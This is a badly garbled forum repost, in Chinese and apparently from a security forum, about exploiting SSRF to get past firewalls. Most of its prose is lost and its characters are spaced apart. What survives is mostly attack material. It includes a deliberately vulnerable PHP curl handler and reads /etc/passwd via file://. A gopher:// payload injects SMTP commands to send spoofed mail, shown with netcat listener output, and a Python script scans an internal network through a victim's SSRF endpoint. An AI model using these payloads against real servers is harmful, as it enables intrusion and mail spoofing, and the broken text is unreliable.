[28912] 2021-05-04_如何绕过防火墙利用SSRF漏洞

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-05-04_如何绕过防火墙利用SSRF漏洞 S S R F O t s   2 0 2 1 - 0 5 - 0 4 S S R F W e b C S R F S S R F N o S Q L R e d i s M o n g o D B O r a c l e M S S Q L M y S Q L P o s t g r e S Q L P o s t f i x D o v e c o t 访 W e b W e b 访 访 W e b S S R F S S R F S S R F W e b W e b 使 H T T P 访 P H P   C u r l c u r l   h t t p : / / e x a m p l e . c o m 使 C u r l [ p r o t o c o l e ] : / / [ I P | U R L ] : [ p o r t ] / [ p a r a m ] 使 H T T P H T T P S F T P G O P H E R F I L E D I C T . . . C u r l h t t p s : / / c u r l . s e / d o c s / m a n p a g e . h t m l F I L E / / H T T P / / f i l e : / / 使 使 / e t c / p a s s w d 访 $ c u r l   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t _ a r r a y ( $ c u r l ,   a r r a y ( C U R L O P T _ U R L   = >   $ _ G E T [ ' u r l ' ] ) ) ; $ r e s p   =   c u r l _ e x e c ( $ c u r l ) ; c u r l _ c l o s e ( $ c u r l ) ;
f i l e : / / 访 N i c o l a s G r é g o i r e S S R F 使 R e d i s M o n g o D B R e d i s N o S Q L 使 H T T P H T T P 访 使 H T T P 访 R e d i s G O P H E R / / 使 g o p h e r : / / G o p h e r H T T P 使 c u r l 使 T e l n e t 使 S M T P 使 S M T P G o p h e r S S R F S M T P 2 5 n e t c a t I P S S R F 访 使 8 0 4 4 3 8 0 8 0 2 2 使 W i n d o w s 3 3 8 9 R D P W e b S S H A p a c h e / e t c / a p a c h e 2 / a p a c h e 2 . c o n f I P 访 1 0 . 0 . 0 . 0 / 8 1 7 2 . 1 6 . 0 . 0 / 1 2 1 9 2 . 1 6 8 . 0 . 0 / 1 6 8 0 H T T P 使 p y t h o n G E T   / i n d e x . h t m l   H o s t :   w w w . n e o s l a b . c o m   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 3 ;   W O W 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0   A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8   A c c e p t - L a n g u a g e :   f r , f r - F R ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3   A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   b r - E R R   w r o n g   n u m b e r   o f   a r g u m e n t s   f o r   ' g e t '   c o m m a n d   - E R R   u n k n o w n   c o m m a n d   ' H o s t : '   - E R R   u n k n o w n   c o m m a n d   ' A c c e p t : '   - E R R   u n k n o w n   c o m m a n d   ' A c c e p t - E n c o d i n g : '   - E R R   u n k n o w n   c o m m a n d   ' C o n n e c t i o n : ' H E L O   l o c a l h o s t M A I L   F R O M : < h a c k e r @ s i t e . c o m > R C P T   T O : < v i c t i m @ s i t e . c o m > D A T A F r o m :   [ H a c k e r ]   < h a c k e r @ s i t e . c o m > T o :   < v i c t i m @ s i t e . c o m > D a t e :   T u e ,   1 5   S e p   2 0 2 0   1 7 : 2 0 : 2 6   - 0 4 0 0 S u b j e c t :   A h   A h   A H Y o u   d i d   n o t   s a y   t h e   m a g i c   w o r d ! . Q U I T h t t p s : / / v i c t i m . w e b s i t e / c u r l . p h p ? u r l = g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 2 5 / x H E L O % 2 0 l o c a l h o s t % 2 5 0 d % 2 5 0 a M A I L % 2 0 F R O M % 3 A % 3 C h a c k e r @ s i t e . c o m % 3 E % 2 5 0 d % 2 5 0 a R C P T % 2 0 T O % 3 A % 3 C v i c t i m @ s i t e . c o m % 3 E % 2 5 0 d % 2 5 0 a D A T A % 2 5 0 d % 2 5 0 a F r o m % 3 A % 2 0 % 5 B H a c k e r % 5 D % 2 0 % 3 C h a c k e r @ s i t e . c o m % 3 E % 2 5 0 d % 2 5 0 a T o % 3 A % 2 0 % 3 C v i c t i m @ s i t e . c o m % 3 E % 2 5 0 d % 2 5 0 a D a t e % 3 A % 2 0 T u e % 2 C % 2 0 1 5 % 2 0 S e p % 2 0 2 0 2 0 % 2 0 2 0 % 3 A 2 0 % 3 A 2 6 % 2 0 - 0 4 0 0 % 2 5 0 d % 2 5 0 a S u b j e c t % 3 A % 2 0 A H % 2 0 A H % 2 0 A H % 2 5 0 d % 2 5 0 a % 2 5 0 d % 2 5 0 a Y o u % 2 0 d i d n % 2 7 t % 2 0 s a y % 2 0 t h e % 2 0 m a g i c % 2 0 w o r d % 2 0 % 2 1 % 2 5 0 d % 2 5 0 a % 2 5 0 d % 2 5 0 a % 2 5 0 d % 2 5 0 a . % 2 5 0 d % 2 5 0 a Q U I T % 2 5 0 d % 2 5 0 a n c   - l v p   2 5 l i s t e n i n g   o n   [ a n y ]   2 5   . . . c o n n e c t   t o   [ 1 2 7 . 0 . 0 . 1 ]   f r o m   l o c a l h o s t   [ 1 2 7 . 0 . 0 . 1 ]   3 5 4 1 7 H E L O   l o c a l h o s t M A I L   F R O M : < h a c k e r @ s i t e . c o m > R C P T   T O : < v i c t i m @ s i t e . c o m > D A T A F r o m :   [ H a c k e r ]   < h a c k e r @ s i t e . c o m > T o :   < v i c t i m @ s i t e . c o m > D a t e :   T u e ,   1 5   S e p   2 0 2 0   1 7 : 2 0 : 2 6   - 0 4 0 0 S u b j e c t :   A H   A H   A H Y o u   d i d   n o t   s a y   t h e   m a g i c   w o r d ! . Q U I T i m p o r t   r e q u e s t s d e f   i p R a n g e ( s t a r t _ i p ,   e n d _ i p ) :   s t a r t   =   l i s t ( m a p ( i n t ,   s t a r t _ i p . s p l i t ( " . " ) ) )   e n d   =   l i s t ( m a p ( i n t ,   e n d _ i p . s p l i t ( " . " ) ) )   t e m p   =   s t a r t   i p _ r a n g e   =   [ ]   i p _ r a n g e . a p p e n d ( s t a r t _ i p )   w h i l e   t e m p   ! =   e n d :   s t a r t [ 3 ]   + =   1   f o r   i   i n   ( 3 ,   2 ,   1 ) :   i f   t e m p [ i ]   = =   2 5 6 :   t e m p [ i ]   =   0   t e m p [ i - 1 ]   + =   1   i p _ r a n g e . a p p e n d ( " . " . j o i n ( m a p ( s t r ,   t e m p ) ) )
使 S S R F H T T P H T T P S U R L I P   r e t u r n   i p _ r a n g e i p _ r a n g e   =   i p R a n g e ( " 1 9 2 . 1 6 8 . 0 . 0 " ,   " 1 9 2 . 1 6 8 . 2 5 5 . 2 5 5 " ) i p _ u p   =   [ ] f o r   i p   i n   i p _ r a n g e :   t r y :   r e s u l t   =   r e q u e s t s . g e t ( " h t t p : / / v i c t i m . w e b s i t e / c u r l . p h p ? u r l = h t t p : / / " + i p + " / : 8 0 " , t i m e o u t = 0 . 5 ) . c o n t e n t   i f ( r e s u l t   i s   n o t   " " ) :   i p _ u p . a p p e n d ( i p )   p r i n t   " [ + ]   M a c h i n e   :   " + i p   e x c e p t :   p a s s p r i n t ( "   " . j o i n ( i p _ u p ) )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则